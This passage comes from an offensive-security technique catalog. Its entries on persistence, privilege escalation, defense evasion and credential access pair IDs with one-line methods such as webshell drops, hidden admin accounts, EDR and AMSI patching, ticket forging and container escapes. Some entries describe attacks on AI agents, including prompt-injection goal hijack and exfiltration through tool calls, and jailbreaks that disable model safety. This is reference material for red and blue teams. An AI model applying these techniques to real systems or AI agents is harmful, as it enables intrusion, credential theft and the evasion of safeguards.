Drop ACTIONS_RUNNER_HOOK_JOB_STARTED on the runner — fires before every future job, grants persistent code-exec.
- FW-BOOTKITUEFI Bootkit Persistence
Implant in the UEFI firmware or ESP — survives OS reinstall and disk wipe; classic LoJax / MoonBounce / BlackLotus territory.
- K-ADMISSION-WEBHOOKMalicious Admission Webhook
Create / hijack a ValidatingWebhookConfiguration to intercept every API call — credential & secret harvesting.
- K-CRONJOB-PERSISTMalicious CronJob / DaemonSet
Create a privileged CronJob or DaemonSet that re-implants the attacker on every node — survives pod restarts.
- K-IMAGE-BACKDOORBackdoored Container Image
Push a backdoored image with a benign tag to the cluster's registry — wait for the deployment to pull it on next rollout.
- L-CRON-WRAPCron-Based Persistence
Drop a per-user or root cron entry that re-implants the shell on a schedule.
- L-SSH-AUTHKEYSSSH authorized_keys Backdoor
Append attacker pubkey to ~/.ssh/authorized_keys (or root's) — classic stealth persistence.
- L-SYSTEMD-USERsystemd User Unit Persistence
User-scoped systemd units fire without root — survive logout if linger enabled.
- LOL-SCRCONSscrcons.exe WMI Event Subscription
Permanent WMI event subscription fires arbitrary VBS / JS at logon / interval — classic stealthy persistence.
- MAC-CRON-PERIODICcron / periodic / emond Persistence
Legacy macOS cron + /etc/periodic + emond rules — still functional, less monitored than LaunchAgents.
- MAC-LAUNCHAGENTLaunchAgent / LaunchDaemon Persistence
Drop a .plist in ~/Library/LaunchAgents or /Library/LaunchDaemons referencing your binary — fires on every login / boot.
- SUP-ACTION-TAG-MUTATIONGitHub Action Tag Mutation
GitHub Action references are tags, not immutable commits — attacker who controls the action repo can mutate a tag (v3) to a malicious commit.
- T1098Account Manipulation
Modify accounts to maintain access.
- T1136Create Account
Create accounts on the system or domain.
- T1207Rogue Domain Controller
Register an unauthorized DC for persistence and data manipulation.
- T1547Boot or Logon Autostart Execution
Run code automatically at boot or logon.
- VPN-APPLIANCE-IMPLANTVPN Appliance Implant
Modify the appliance's userspace binaries / re-image partition for persistence — survives a reboot, often patches too.
- W-ADMIN-PERSISTBackdoor Admin Account
Create a fresh admin account in the application, ideally with unobtrusive name ("svc-monitor", "audit_ro") — survives webshell hunts.
- W-CMS-SCHEDULEDCMS Scheduled Job Persistence
WordPress wp-cron / Drupal cron / Joomla module — install a benign-looking plugin or scheduled job that re-injects the shell.
- W-COM-HIJACKCOM Hijack
Register a per-user HKCU\Software\Classes COM CLSID that shadows a regularly-invoked HKLM class — fires when the system loads it.
- W-SCHEDTASK-HIJACKScheduled Task Hijack
Writable XML in Tasks folder or a writable target binary — re-points a privileged task to attacker code.
- W-WEBSHELLWebshell Deployment
Drop a small interactive shell (b374k / China Chopper / antsword / r57) and revisit later via HTTP(S).
Privilege Escalation
104 techniques- 5G-SCP-SBI5G Service-Based Interface Abuse
5GC SBI (HTTP/2 + OAuth between AMF / SMF / SCP / NRF) — misconfigured token issuer / SCP without mTLS lets attacker NF query subscriber data, register new NF.
- AA-SESSION-KEYSession-Key Over-Scope
AA wallet sets a session key with broad target/value/selector scope for UX — attacker dApp uses that session key beyond intended actions.
- AD-BADSUCCESSORBadSuccessor (DMSA, 2025)
Create or hijack a Delegated Managed Service Account that lists a high-priv account in msDS-ManagedAccountPrecededByLink — inherits its powers.
- AD-DACL-ADDMEMBERAddMember (WriteProperty on member)
Write 'member' attribute to add an account to a group, including Domain Admins.
- AD-DACL-ADDSELFAddSelf to Group
Self-membership write right — add your account to a privileged group.
- AD-DACL-GENERICALLGenericAll on Object
Full control on a target object: reset password, set SPN, write any attribute.
- AD-DACL-GENERICWRITEGenericWrite on Object
Write all non-protected attributes; enables SPN-set Kerberoasting and shadow credentials.
- AD-DACL-WRITEDACLWriteDACL
Modify the object's ACL — grant yourself any other right.
- AD-DACL-WRITEOWNERWriteOwner
Take ownership of an object, then grant yourself further rights.
- AD-DACL-WRITESPNWrite SPN — Targeted Kerberoasting
Write servicePrincipalName on a victim user, request a TGS, crack offline.
- AD-GPOGPO Abuse
Modify a linked GPO (or its files in SYSVOL) to add a local admin / scheduled task on targeted OUs.
- AD-GPO-IMMEDIATEGPO Immediate Scheduled Task
Add an immediate scheduled task XML to a linked GPO — fires on next Group Policy refresh on every targeted host.
- AD-GROUP-ACCOPAccount Operators
Create/modify non-protected user, group, computer accounts — staging foothold.
- AD-GROUP-BACKUPOPBackup Operators → DC takeover
SeBackupPrivilege bypass NTFS perms — copy NTDS.dit and SYSTEM hive offline.
- AD-GROUP-DNSADMINSDnsAdmins → SYSTEM on DC
Members can load a DLL through the DNS service (dnscmd ServerLevelPluginDll) — runs as SYSTEM.
- AD-GROUP-PRINTOPPrint Operators → SYSTEM on DC
SeLoadDriverPrivilege — load a driver, achieve kernel exec on the DC.
- AD-GROUP-SERVEROPServer Operators → SYSTEM on DC
Modify a system service binary path, restart — runs as LocalSystem.
- AD-MSSQL-IMPERSONATEMSSQL EXECUTE AS
Abuse IMPERSONATE permissions to assume sysadmin or another login.
- AD-NOPACsAMAccountName Spoofing — noPac (CVE-2021-42278/42287)
Rename a low-priv computer account to a DC's name, request a TGS as it, then S4U2self to DA.
- AD-PNPrintNightmare (CVE-2021-34527)
Print Spooler RCE/LPE allowing SYSTEM execution on remote (or local) hosts.
- AD-RODCRODC Compromise
Compromise a Read-Only DC — its krbtgt_<RODC#> hash can issue tickets for revealed accounts.
- AD-SCCM-CLIENTPUSHSCCM Client Push Installation Abuse
Coerce the site server's client-push account to authenticate, then relay or use it directly.
- AD-SCCM-RELAYSCCM Site Takeover (Takeover-1…8)
Yannos's SCCM relay chains: relay site server / SMS Provider / MSSQL to gain Full Administrator.
- AD-WSUSWSUS Update Injection (HTTP)
If WSUS is HTTP-only, MITM and serve a malicious signed Microsoft binary to push code on clients.
- AD-ZLZeroLogon (CVE-2020-1472)
Reset a DC's machine account password to empty via Netlogon to take over the domain.
- AI-AGENT-GOAL-HIJACKAgent Goal Hijack
Multi-step agent re-reads its task list each turn — injected instruction added to the workspace replaces the goal partway through execution.
- AI-AGENT-MULTIMulti-Agent Collusion / Confused Deputy
Specialist sub-agents trust each other's outputs implicitly — injection into one (browser agent) propagates to a more privileged one (shell agent).
- AI-TOOL-DRIFTTool-Chain Drift
Long-running agent loops drift away from the original task as injected context accumulates in working memory — useful for slow-burn data exfil through tool calls.
- AUTH-OIDC-SCOPEOIDC Scope Confusion / Mix-Up
Provider returns a token issued for a different RP / scope — overly trusting RP accepts it. The 2016 'IdP Mix-Up' attack family.
- BRW-CHROME-IPCChromium Mojo IPC Confused-Deputy
Renderer asks the broker process for a privileged capability it shouldn't have — broker performs the action because IPC validation is missing.
- BRW-GPU-IOCTLGPU Process Driver IOCTL Escape
Renderer talks to the GPU process; GPU process talks to a vulnerable kernel driver — chain ends in kernel RCE from a web page.
- BRW-RENDERER-SBX-ESCAPERenderer → Broker Sandbox Escape
Once code-exec in the renderer, abuse a Mojo IPC handler / GPU process IPC / DRM-tier ioctl to break into the browser broker → host context.
- BX-EXT-NMHExtension → Native Messaging Host
Extension communicates with a native host installed via MSI / pkg / deb — the native host runs with user privileges, often used for password managers / dev tools.
- BX-EXT-PERM-ABUSEOver-Permissioned Extension
Legit extension with cookies + history + downloads perms is later updated by attacker (after maintainer takeover / sale) — instant fleet-wide compromise.
- C-AWS-IAM-ADDUSER-POLICYAWS iam:AttachUserPolicy → AdminAccess
AttachUserPolicy on self with AdministratorAccess — instant root if the principal has the permission.
- C-AWS-IAM-CREATE-KEYAWS iam:CreateAccessKey on Target
Create access keys for a higher-priv user you can target — persistence + lateral.
- C-AWS-IAM-PASSROLEAWS iam:PassRole Chain
Pass a higher-priv role to a service (EC2, Lambda, Glue) you can launch — service runs with the elevated role.
- C-AWS-IAM-VERSION-DEFAULTAWS iam:SetDefaultPolicyVersion
Switch a managed-policy default version to a more permissive one — bypass policy-review controls.
- C-AZ-APP-CONSENTEntra App Consent Phishing
Trick a privileged user into consenting to an OAuth app with Directory.ReadWrite.All / RoleManagement.ReadWrite — app gets persistent tenant access.
- C-AZ-MANAGED-ID-ESCAzure Managed Identity Escalation
Assign a higher-priv managed identity to a VM you control, then hit IMDS to assume it.
- C-AZ-RBAC-OWNERAzure RBAC Owner Assignment
Microsoft.Authorization/roleAssignments/write on a scope lets the principal grant itself Owner — across subscription / RG / resource.
- C-GCP-SA-IMPERSONATEGCP Service Account Impersonation
iam.serviceAccounts.getAccessToken on a higher-priv SA — exchange your identity for its access token.
- C-GCP-SA-KEY-CREATEGCP iam.serviceAccountKeys.create
Create a permanent JSON key for a higher-priv service account — works as long as no key-rotation policy kicks in.
- CDN-AKAMAI-EDGEAkamai EdgeWorker Abuse
EdgeWorker handlers receive raw request bodies — a token or logic flaw lets attacker code run with the operator's trust.
- CI-ARGOCD-TAKEOVERArgoCD Misconfigured RBAC
Default admin/admin or over-broad RBAC lets attackers create Applications pointing at attacker manifests — cluster takeover.
- CI-GITLAB-RUNNER-TAGSGitLab CI Tag Reuse Across Projects
Untagged jobs from any project land on shared runners — read shared runner state (Docker socket, caches) for cross-tenant escape.
- CI-RUNNER-TAKEOVERSelf-Hosted Runner Takeover
Public repos with self-hosted runners — first attacker PR runs on the runner, persists a backdoor for every subsequent job.
- CVE-PRINTNIGHTMAREPrintNightmare PointAndPrint (CVE-2021-34527 alt)
Spooler service privilege escalation via attacker driver — full SYSTEM, mass-exploited 2021.
- DEFI-CURVE-GOVCurve veCRV Vote Capture
Bribe / borrow veCRV via flash loan within a single block snapshot — pass gauge votes that redirect emissions to attacker pools.
- DEFI-PROXY-FN-CLASHProxy Function-Selector Clash
EIP-1967 transparent proxy has admin functions on the proxy itself — a function on the impl with a colliding 4-byte selector becomes unreachable, or vice versa.
- DEFI-VESTING-PERMVesting Beneficiary Replace
Bug lets the attacker call setBeneficiary on a vesting schedule — redirect the entire stream to attacker address.
- EDR-COM-HIJACK-LOLOBJCOM Hijack via LOLObjects
Drop a payload registered under HKCU\Software\Classes\CLSID — fires when explorer.exe / Office / signed binaries load that COM object.
- EX-RBAC-ABUSEExchange RBAC Abuse
ApplicationImpersonation, Mailbox Search, or Organization Management role assigned too widely — read any mailbox in the org.
- FW-INTEL-MEIntel ME / AMT Compromise
Management Engine running on the platform has separate memory + network stack — historic firmware bugs (Q3'17 chain) yield ring -3 on virtually every Intel CPU pre-mitigations.
- HV-HYPERV-LINUXHyper-V Linux Guest Escape
Specific guest-to-host escape paths in Hyper-V's hv_vmbus / vmswitch — used in red-team labs and Windows kernel research.
- HV-VM-ESCAPEVM Escape (VMware / Hyper-V / KVM)
Guest-to-host escape via vulnerable virtual device emulation (VGA, USB, e1000, virtio) — emerges in Pwn2Own competitions almost yearly.
- HW-ROWHAMMERRowhammer Bit Flip
Hammer adjacent DRAM rows to flip bits in a target page — used to escape JavaScript sandboxes, escalate from user to root, defeat ECC.
- K-CAP-SYSADMINCAP_SYS_ADMIN Escape
Linux capability lets the process call mount(); chain with /proc/sys/kernel/core_pattern to RCE on host.
- K-CVE-2022-0492cgroups v1 release_agent (CVE-2022-0492)
Default seccomp + CAP_SYS_ADMIN lets you write to release_agent, fired by the kernel on host — container escape to root.
- K-CVE-2024-21626runc CVE-2024-21626 (Leaky Vessels)
runc < 1.1.12: file-descriptor leak across exec; container escape via WORKDIR /proc/self/fd/N during image build.
- K-HOSTPATH-MOUNThostPath Volume Mount
Mount the host filesystem into a pod (read-write or even read-only of /etc/shadow) — exfil host secrets and pivot.
- K-HOSTPIDhostPID / hostNetwork / hostIPC
A pod with hostPID sees every host process — nsenter into PID 1 to break out of the container namespace.
- K-PRIV-CONTAINERPrivileged Container Escape
spec.containers[].securityContext.privileged: true — mount the host filesystem and chroot in.
- L-CAP-ABUSELinux Capability Abuse
Binary with cap_setuid+ep / cap_sys_admin / cap_dac_read_search — escalate to root via the granted capability.
- L-CRON-WRITABLEWritable Cron Job / Cron Path
World-writable /etc/cron.d entry or a script invoked by root cron with a relative path you can hijack.
- L-DOCKER-GROUPdocker Group Membership → root
User in the docker group can `docker run -v /:/host` — chroot in for root on the host.
- L-KERNEL-EXPLOITKernel Exploit (DirtyPipe / DirtyCow / nf_tables)
Local kernel vulnerability — DirtyPipe (CVE-2022-0847), DirtyCow (CVE-2016-5195), nf_tables UAFs.
- L-LXD-GROUPlxd / lxc Group → root
Member of lxd group can launch a privileged container mounting / — same primitive as docker group.
- L-PATH-HIJACK$PATH Hijacking
Misconfigured sudo / cron / service with a relative PATH that includes a writable dir — drop a binary named the same as a called command.
- L-POLKIT-PWNKITpolkit pwnkit (CVE-2021-4034)
polkit pkexec local privesc to root on practically every Linux distro until early 2022.
- L-SUDO-BARsudo Baron Samedit (CVE-2021-3156)
Heap-based BOF in sudo's argv parsing — local root on most distros before 2021.
- L-SUDO-MISCONFSudo Misconfiguration (NOPASSWD / weak Defaults)
Sudo rule permitting a binary that can shell out (vi, less, awk, perl, python) without password — root shell.
- L-SUID-ABUSESUID Binary Abuse
Find an unintended SUID binary (find / nmap / vim / less / awk) — exploit per GTFOBins for root.
- L-WRITABLE-PASSWDWorld-Writable /etc/passwd
Misconfigured permissions on /etc/passwd — add a root-equivalent line with a known hash.
- LK-DIRTY-PAGETABLEDirty Pagetable
Generic exploit technique: corrupt a PMD entry to alias attacker memory onto a kernel object — works for many bug classes (DirtyPipe-style).
- LK-EBPF-JITeBPF JIT / Verifier Bypass
Logic bug in the verifier allows an out-of-bounds memory access by a JIT-compiled BPF program — root from any user with CAP_BPF.
- LK-IO-URING-UAFio_uring UAF / Privesc
Series of io_uring bugs (2022-2024) — race condition in SQE handling yields a UAF on a kernel object, then ROP / pivot to modprobe_path.
- LK-MODPROBE-PATHmodprobe_path Overwrite
Overwrite /proc/sys/kernel/modprobe to point at attacker binary, then trigger a kernel call that auto-loads a missing module — runs attacker binary as root.
- LK-NETFILTER-UAFnetfilter / nf_tables UAF
Repeating nf_tables bugs (CVE-2022-32250 / 2023-32233 / 2024-1086) — UAF in nft objects, kernel R/W primitive, root via cred-struct overwrite.
- LK-USERFAULTFDuserfaultfd Race
Suspend kernel inside a critical section via userfaultfd → win race conditions deterministically (commonly used for nf_tables, ksmbd).
- MAC-DYLIB-HIJACKDylib Hijack
Application loads a dylib by relative path / weak rpath — drop a malicious dylib earlier in the search order, runs in the app's signed context.
- MAC-SUDO-CACHEsudo Cache Token Steal
On Apple Silicon prior to mitigation, a user-process could read /var/db/sudo/ts to reuse a fresh sudo timestamp for root without password.
- MF-JCL-OWNERz/OS JCL / Surrogate Abuse
Submit a JCL job under another user's surrogate; the job runs in their security context — privilege escalation classic.
- MOB-INTENT-INJECTIntent Injection / Pending Intent Abuse
Exported activity accepts an intent extra and forwards it without validation — call privileged internal APIs.
- NET-SNMP-RW-COMMUNITYSNMPv2c Write Community
Default 'private' / 'public' RW community strings let attackers reconfigure routers / switches over SNMP — write configs to TFTP, change ACLs, etc.
- SAAS-GH-APP-TAKEOVERGitHub App / Installation Takeover
Take over a GH App with org-wide installation rights — rewrite branches, secrets, workflows across every repo.
- SAAS-GH-CODESPACEGitHub Codespaces Abuse
A repo's devcontainer + secrets give a Codespace owner privileged tokens — compromise the codespace to harvest.
- T1068Exploitation for Privilege Escalation
Exploit software vulnerabilities to elevate privileges.
- T1548Abuse Elevation Control Mechanism
Bypass UAC, sudo, setuid, etc.
- W-ALWAYS-ELEVATEAlwaysInstallElevated
HKLM\Software\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated = 1 — any MSI runs as SYSTEM.
- W-BFLABroken Function Level Authorization (API BFLA)
Admin-only HTTP method or function is reachable by a regular user (PUT/DELETE/PATCH, /admin/users).
- W-BOLABroken Object Level Authorization (API BOLA)
OWASP API #1 — same as IDOR but on REST/GraphQL APIs; check every resource ID against the requester.
- W-DLL-HIJACKDLL Hijack / DLL Sideload
Application loads a DLL by name without absolute path — drop a malicious DLL earlier in the search order.
- W-FORCED-BROWSEForced Browsing to Hidden Admin
Admin pages omitted from the menu but still routable when the URL is known (/admin, /dashboard, /internal).
- W-HEADER-AUTH-BYPASSX-Original-URL / X-Rewrite-URL Bypass
Reverse proxy enforces ACL on the URL; backend rewrites via the header — bypass ACL on /admin.
- W-IDORInsecure Direct Object Reference (IDOR)
Endpoint trusts the object ID from the request — increment or replace it to access another user's resource.
- W-MASS-ASSIGNMass Assignment / Property Smuggling
Send `role=admin` / `is_admin=true` / `verified=true` in the request body — framework binds it directly to the model.
- W-NAMED-PIPE-IMPNamed Pipe Impersonation
Tools like JuicyPotato / RoguePotato / GodPotato — impersonate a SYSTEM token via a named pipe primitive (still works for service accounts with SeImpersonatePrivilege).
- W-SVC-UNQUOTEDUnquoted Service Path
Service binary path contains spaces, no quotes, and a writable parent directory — drop C:\Program.exe to hijack the service start.
- W-UAC-BYPASSUAC Bypass
fodhelper / computerdefaults / silentcleanup / sdclt — abuse autoElevate trustees to run as elevated administrator without prompt.
- W-VHOST-CONFUSIONHost Header / Virtual Host Confusion
Routing decisions made on Host header — set Host: admin-internal to reach an internal admin app served by the same backend.
- W3-DELEGATECALLUnsafe delegatecall
Contract delegatecalls user-supplied implementation address — attacker library writes the proxy's owner / admin slot.
- W3-GOV-TAKEOVERDAO Governance Takeover
Borrow voting tokens via flash loan during a snapshot, propose + vote yourself in as admin, repay loan.
- W3-PROXY-INITUninitialised UUPS Proxy Implementation
Attacker calls initialise() on the implementation contract (not the proxy) — gain ownership, selfdestruct, brick all proxies that referenced it (Parity Multisig 2017).
Defense Evasion
47 techniques- AD-SKELSkeleton Key
Patch LSASS on a DC so every account accepts a master password alongside its real one.
- AI-ADVERSARIALAdversarial Input
Imperceptibly perturbed input (image, audio, text) misclassifies / bypasses content filters / fools image-recognition.
- AI-JAILBREAKLLM Jailbreak
DAN / Sudo / persona / multi-turn escalation prompts that disable the model's safety alignment, enabling forbidden output.
- AMSI-PATCHAMSI In-Memory Patch
Patch AmsiScanBuffer in amsi.dll memory to return clean — PowerShell / VBA / .NET runtime emits content unscanned.
- AUTH-FIDO2-ATTESTFIDO2 Attestation Downgrade
RP accepts 'none' attestation — virtual authenticators with attacker-chosen credIDs are accepted as real hardware keys.
- BX-MV3-CSP-BYPASSManifest V3 CSP Bypass
MV3 limits inline eval, but extension still uses dynamically built script via chrome.runtime.getURL + injected <script> — bypass-able by malicious site.
- CDN-ORIGIN-BYPASSCDN Origin Bypass
Find the real origin IP (DNS history, Shodan SSL cert hash, .well-known) and connect directly — bypasses WAF + caching + rate-limit.
- CI-BRANCH-PROTECT-BYPASSBranch Protection Bypass
Skip required reviews via merge-queue race, force-push with rewritten history, or via admin-bypass on a stale rule.
- EDR-BYOVDBYOVD — Bring-Your-Own-Vulnerable-Driver
Load a signed-but-vulnerable kernel driver (mhyprot, gdrv, rwdrv) — kernel-level disable of EDR callbacks (KernelMode unloads).
- EDR-CALLBACK-REMOVEKernel Callback Removal
After BYOVD admin, unlink PsSetCreateProcessNotifyRoutine / PsSetLoadImageNotifyRoutine entries for the EDR — process events stop firing.
- EDR-DIRECT-SYSCALLDirect Syscall (Hell's / Halo's Gate)
Invoke NT syscalls directly instead of via hooked ntdll exports — skips userland EDR hooks on Nt* APIs.
- EDR-HW-BREAKPOINTHardware Breakpoint Hooking
Use DR0-DR3 hardware breakpoints to set hooks that don't modify .text — invisible to EDRs scanning for byte patches.
- EDR-INDIRECT-SYSCALLIndirect Syscall (Tartarus' Gate)
Jump to a clean syscall stub inside ntdll's own memory after hook check — preserves call-stack origin, defeats stack-walk EDR.
- EDR-PPL-BYPASSProtected Process Light (PPL) Bypass
Process Hacker / kernel-mode driver loads as PPL via abused signed binaries (PPLDump / PPLMedic) — read LSASS even when WDAC PPL is enabled.
- EDR-UNHOOKEDR Userland Unhook
Restore the original .text section of ntdll / kernel32 from disk to a freshly-loaded module — removes injected JMP hooks.
- ETW-PATCHETW Event-Tracing Patch
Patch EtwEventWrite / NtTraceEvent in process memory — telemetry blinded without admin.
- FW-SECUREBOOT-BYPASSSecureBoot Bypass
Use a signed-but-vulnerable bootloader / shim (BlackLotus, BootHole) — chain into ring-0 before any OS protections initialise.
- HW-FAULT-INJECTLaser / Optical Fault Injection
Pulse a laser at a decapsulated chip during cryptographic operation — induce fault that leaks the private key (DPA / DFA).
- HW-VOLT-GLITCHVoltage / Clock Glitching
Briefly pull Vcc / inject clock pulse during a signature-check on a target chip — bypass bootloader / fuse-bit checks for firmware extraction.
- INJ-APCAPC Injection (early-bird)
Queue an asynchronous procedure call into a remote thread; runs attacker code at the first alertable wait — "early bird" variant before EDR injects.
- INJ-DLL-NOTIFYLdrRegisterDllNotification Inject
Register a DLL-load callback in the target — fires every time the target loads a DLL, giving an injection moment with valid stack.
- INJ-DOPPELGANGINGProcess Doppelgänging
Use transacted file APIs to overlay attacker image during process creation — final image differs from on-disk file.
- INJ-GHOSTINGProcess Ghosting
Create section from a delete-pending file — process exists with no on-disk file at all.
- INJ-HERPADERPINGProcess Herpaderping
Modify a backing file's bytes after process create but before AV scan completes — defeats hash-on-launch checks.
- INJ-MODULE-STOMPModule Stomping
Load a benign signed DLL into the target, then overwrite its .text in memory with attacker code — call stack still references the signed module.
- INJ-PROCESS-HOLLOWINGProcess Hollowing (T1055.012)
Spawn a benign process suspended, unmap its image, write attacker PE in place, resume — classic SDV stealth primitive.
- INJ-STACK-SPOOFCall-Stack Spoofing
Manipulate the return-address chain so EDRs that walk the stack see a legitimate origin (kernel32!CreateProcessW etc.).
- INJ-THREAD-HIJACKThread Execution Hijack
SuspendThread + SetThreadContext + ResumeThread to redirect EIP/RIP — classic injection, well-detected but still useful as a primitive.
- LOL-SIGNED-PROXYSigned Binary Proxy Execution (parent)
Umbrella for any signed Microsoft binary used to launch attacker code — bypasses naive process-name-only allowlists.
- MAC-GATEKEEPER-BYPASSGatekeeper / Quarantine Bypass
Strip com.apple.quarantine xattr / use unsigned helper binaries / abuse SwiftSyntax-style trust gaps to run unsigned code without prompt.
- MAC-SIP-DISABLESIP Disable (Recovery)
Boot into recoveryOS, csrutil disable — full root with no kernel restrictions. Requires physical access on Apple Silicon.
- MAC-TCC-BYPASSTCC Bypass
Privacy framework gated by user consent — bypass via dyld injection, FDA-granted parent process, or CVE-class TCC.db edits before lock.
- MOB-IOS-IPA-RESIGNIPA Repackaging / Resigning
Decrypt IPA from a jailbroken device (Clutch / frida-ios-dump), patch Mach-O, resign with developer cert, sideload via TrollStore / AltStore.
- MOB-IOS-JB-BYPASSiOS Jailbreak Detection Bypass
Hook NSFileManager.fileExistsAtPath / canOpenURL: / sysctl — Liberty Lite / FlexDecrypt / Frida script bypasses fork() & dyld checks.
- MOB-ROOT-DETECT-BYPASSAndroid Root Detection Bypass
Patch / hook root-detection routines (SafetyNet / Play Integrity / custom checks) via Frida, RootBeer hooks, Magisk Zygisk modules.
- MOB-SMALI-PATCHSmali Patching (apktool)
Decompile APK with apktool, edit smali to flip checks or inject code, recompile + resign — bypasses root/jailbreak detection statically.
- MOB-SSL-PINNING-BYPASSSSL / Certificate Pinning Bypass
Hook OkHttp CertificatePinner / TrustManager / native pinning via Frida (objection / frida-tools), enabling MITM of the app's traffic.
- N-NAC-BYPASS-MACNAC Bypass via MAC Spoof
Clone the MAC of an authenticated device (printer, IP phone, VoIP) — most 802.1x deployments allow MAC-Auth-Bypass for these.
- PAY-CONTAINER-LOLBINSContainer LOLBins Smuggling
Wrap payloads in 7z / RAR / ZIP / IMG / VHDX so on-prem AV can't unpack them; let user 'extract and double-click'.
- POS-EMV-DOWNGRADEEMV-to-Magstripe Downgrade
Card claims fallback to magstripe-only; many terminals still allow it. Bypass EMV cryptography and reuse cloned magstripe data.
- T1027Obfuscated Files or Information
Hide artifacts via encoding, packing, or encryption.
- T1070Indicator Removal
Delete or modify logs and artifacts to hide activity.
- T1562Impair Defenses
Disable or evade defensive tools.
- W-ADS-HIDEAlternate Data Stream Hiding
Stash a payload in an NTFS ADS (file:hidden) — invisible to most listings, executable via fully-qualified path.
- W-CHARSET-CONFUSIONCharset Confusion
UTF-7 / overlong UTF-8 / ASCII control-char encoding tricks the WAF parser but the application decodes the payload.
- W-PARSER-DIFFERENTIALParser Differential
Frontend, backend, and WAF parse the request differently (URL normalization, HTTP body framing) — payload survives one parser, hits another.
- W-WAF-BYPASSWAF Bypass
Encoding (URL, double-URL, unicode), case randomisation, comment insertion, parameter pollution, chunked transfer, HTTP/2 fragments.
Credential Access
138 techniques- 5G-DIAMETERDiameter / SS7 Roaming Abuse
Diameter signaling between operators (or legacy SS7) lacks origin auth — query HSS for subscriber location / route SMS to attacker MSC.
- 5G-IMSI-CATCHERIMSI Catcher / Stingray
Spoof a 2G/3G/LTE base station that downgrades nearby phones; capture IMSI, force-downgrade to 2G for MITM, intercept SMS / calls.
- AA-SOCIAL-RECOVERYAccount-Abstraction Social Recovery Abuse
Smart-account social-recovery quorum mis-set / guardians compromised — attacker triggers recovery to attacker-controlled key.
- AD-DACL-ALLEXTAllExtendedRights — DCSync grant
AllExtendedRights on the domain object includes DS-Replication-Get-Changes / -All → DCSync.
- AD-DACL-FORCECHANGEForceChangePassword (User-Force-Change-Password)
Reset a user's password without knowing the old one — extended-right ACE.
- AD-DACL-SHADOWCREDSShadow Credentials (msDS-KeyCredentialLink)
Add a key credential to a target principal and authenticate via PKINIT to recover its NT hash.
- AD-DIAMONDDiamond Ticket
Request a real TGT then patch its PAC in place — looks more legitimate than a Golden Ticket.
- AD-DPAPI-CREDSDPAPI Credential Vault
Decrypt Credential Manager blobs using the masterkey — recover saved RDP, browser, Outlook creds.
- AD-DPAPI-MASTERKEYDPAPI Masterkey Extraction
Extract DPAPI masterkeys (mimikatz dpapi::masterkey or via the domain backup key) to unseal vaults.
- AD-ESC1ADCS ESC1 — Misconfigured Template (SAN)
Vulnerable cert template allows the enrollee to supply an arbitrary subjectAltName, issuing a cert that authenticates as any user.
- AD-ESC10ADCS ESC10 — Weak certificate mapping
Weak StrongCertificateBindingEnforcement registry value lets implicit UPN mapping be abused.
- AD-ESC11ADCS ESC11 — RPC over IF_NOREMOTEICERTREQUEST
Relay NTLM over RPC to ICertPassage (no signing), get a cert without web enrollment.
- AD-ESC13ADCS ESC13 — Group-linked Template
Cert template grants group membership claims; combined with ESC9/10 yields privileged auth.
- AD-ESC14ADCS ESC14 — Explicit altSecurityIdentities
Write altSecurityIdentities to map a cert subject to another user — pivot via UPN-mapped auth.
- AD-ESC15ADCS ESC15 — EKUwu (CVE-2024-49019)
Schema v1 templates let the requester inject arbitrary EKUs / SANs into the cert.
- AD-ESC2ADCS ESC2 — Any Purpose EKU
Cert template with Any Purpose EKU can be enrolled and used for client authentication.
- AD-ESC3ADCS ESC3 — Enrollment Agent
Abuse an enrollment-agent template to enroll on behalf of another user.
- AD-ESC4ADCS ESC4 — Vulnerable Template ACL
Modify a template's ACL to make it ESC1-vulnerable, then enroll as any user.
- AD-ESC6ADCS ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2
CA flag lets requesters supply a SAN in any request, bypassing template restrictions.
- AD-ESC7ADCS ESC7 — Vulnerable CA ACL
ManageCA / ManageCertificates rights on the CA allow approving rogue requests.
- AD-ESC8ADCS ESC8 — HTTP Web Enrollment NTLM Relay
Relay NTLM auth to the CA's HTTP web-enrollment endpoint to obtain a cert as the coerced principal.
- AD-ESC9ADCS ESC9 — No security extension
Cert template without security extension lets you authenticate as a different user via UPN mapping.
- AD-GMSARead gMSA Password (DSRM/msDS-ManagedPassword)
Extract a gMSA's blob via msDS-ManagedPasswordId/Data when ReadGMSAPassword right is held.
- AD-GPP-CPASSWORDGPP cpassword Recovery (MS14-025)
Decrypt cpassword from Groups.xml / ScheduledTasks.xml in SYSVOL using the published AES key.
- AD-LAPSRead LAPS Password
Read ms-Mcs-AdmPwd (or msLAPS-Password) on a computer object you have READ rights to.
- AD-LSA-CACHEDomain Cached Credentials (DCC2)
Extract MSCash2 hashes from SECURITY hive — domain creds cached for offline logon, crackable but slow.
- AD-SAPPHIRESapphire Ticket
Forge a TGT with valid PAC_REQUESTOR signature so it survives 2022 PAC validation patches.
- AD-SCCM-NAASCCM Network Access Account Disclosure
Recover NAA credentials from the WMI policy class or client logs — often privileged.
- AD-SCCM-PXESCCM PXE Boot Media Extraction
Boot a PXE TFTP image and decrypt the embedded credentials / variable file.
- AD-UNPACUnPAC-the-Hash
From a cert-based PKINIT TGT, extract the user's NT hash via the PAC_CREDENTIAL_INFO field.
- AD-WDIGESTWDigest Plaintext Credentials
Enable UseLogonCredential to force LSASS to store plaintext passwords on next logon.
- APT-OKTA-SEIdentity-Provider Helpdesk SE (Scattered Spider)
Vish the helpdesk for MFA factor reset against an admin user of the IdP (Okta / Entra) — register attacker factor, log in, push policy/factor changes.
- APT-SNOWFLAKE-2024Snowflake Stolen-Credential Mass Theft (2024)
Customer Snowflake tenants without enforced MFA / no IP allow-list — infostealer logs gave attackers credentials, leading to multi-tenant mass exfil (UNC5537).
- AUTH-COOKIE-DOMAINCookie Domain / Path Confusion
Cookie set on .example.com is readable from any subdomain — combined with a controlled subdomain (XSS, takeover) it pivots to all sister apps.
- AUTH-FIDO2-CABLEFIDO2 caBLE / Hybrid Transport Abuse
Phishing site lures a victim to scan a QR linking their phone authenticator to the attacker's browser session — completes login on attacker hardware.
- AUTH-OIDC-IMPLICITOIDC Implicit Flow Token Leak
Access token returned in URL fragment — leaks via Referer, browser history, third-party scripts, postMessage.
- AUTH-OIDC-PKCEOIDC PKCE Downgrade
Public client allows code flow without PKCE — capture the authorisation code (referrer / log leak) and exchange it.
- AUTH-SAML-XSWSAML Signature Wrapping (XSW)
Re-arrange the signed SAML response so the IdP-signed assertion stays intact while the SP parses an attacker-injected one — sign in as anyone.
- C-AWS-INSTANCE-CONNEC2 Instance Connect Push Key
